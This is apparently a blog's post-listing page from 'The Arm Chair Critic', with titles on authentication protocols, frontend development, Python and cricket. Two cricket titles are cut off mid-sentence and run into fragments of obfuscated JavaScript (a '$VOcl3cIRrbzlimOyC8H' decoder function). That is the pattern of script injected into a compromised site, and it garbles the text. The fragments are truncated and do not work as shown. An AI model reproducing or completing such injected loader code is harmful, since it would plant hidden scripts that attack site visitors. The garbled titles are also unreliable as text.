A primer on Memetic Automatons

The Arm Chair Critic

How I created a bot that tweets the correct Wordle word daily

The Arm Chair Critic

Leveraging web workers to safely store access tokens

The Arm Chair Critic

Prevent useEffect’s callback firing during initial render

The Arm Chair Critic

How does HOTP authentication work?

The Arm Chair Critic

What is HMAC and how does it work? 

The Arm Chair Critic

All about blockchain forks

The Arm Chair Critic

CIAM and common misconceptions

The Arm Chair Critic

Securely receiving authorization code in SPAs using form_post 

The Arm Chair Critic

Legends T20 League in USA – Can cricket win back the land$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].s

The Arm Chair Critic

WorldT20 Qualifier: The pretentious Oman and$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("&q

The Arm Chair Critic

An ideal SSD + HDD configuration for Windows 10

The Arm Chair Critic

Legends T20 League in USA – Can cricket win back the land of America, one of the game’s first proponents?

The Arm Chair Critic

How we built a frontend app for WSO2 Identity Server with React

The Arm Chair Critic

Asgardio OIDC JS SDK: Bootstrap in three easy steps

The Arm Chair Critic

Concurrent programming using Python’s Async IO

The Arm Chair Critic

CICD for frontend with Firebase and GitHub Actions

The Arm Chair Critic